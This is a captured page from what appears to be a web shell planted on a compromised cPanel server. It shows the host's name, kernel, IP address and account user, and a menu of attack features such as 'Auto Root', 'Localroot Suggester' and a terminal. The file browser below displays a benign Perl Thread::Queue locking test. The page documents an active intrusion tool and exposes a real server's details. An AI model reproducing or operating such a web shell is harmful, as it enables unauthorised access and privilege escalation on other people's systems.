Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Thread-Queue /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01_basic.t
2.83
KB
-r--r--r--
2014-12-27 11:48
02_refs.t
4.58
KB
-r--r--r--
2014-12-27 11:48
03_peek.t
960
B
-r--r--r--
2014-12-27 11:48
04_errs.t
1.72
KB
-r--r--r--
2014-12-27 11:48
05_extract.t
2.21
KB
-r--r--r--
2014-12-27 11:48
06_insert.t
2.05
KB
-r--r--r--
2014-12-27 11:48
07_lock.t
975
B
-r--r--r--
2014-12-27 11:49
08_nothreads.t
2.61
KB
-r--r--r--
2014-12-27 11:48
09_ended.t
3.68
KB
-r--r--r--
2014-12-27 11:48
10_timed.t
1.59
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
use strict; use warnings; BEGIN { use Config; if (! $Config{'useithreads'}) { print("1..0 # SKIP Perl not compiled with 'useithreads'\n"); exit(0); } } use threads; use Thread::Queue; use Thread::Semaphore; if ($] == 5.008) { require 't/test.pl'; # Test::More work-alike for Perl 5.8.0 } else { require Test::More; } Test::More->import(); plan('tests' => 3); # The following tests locking a queue my $q = Thread::Queue->new(1..10); ok($q, 'New queue'); my $sm = Thread::Semaphore->new(0); my $st = Thread::Semaphore->new(0); threads->create(sub { { lock($q); $sm->up(); $st->down(); threads::yield(); select(undef, undef, undef, 0.1); my @x = $q->extract(5,2); is_deeply(\@x, [6,7], 'Thread dequeues under lock'); } })->detach(); $sm->down(); $st->up(); my @x = $q->dequeue_nb(100); is_deeply(\@x, [1..5,8..10], 'Main dequeues'); threads::yield(); exit(0); # EOF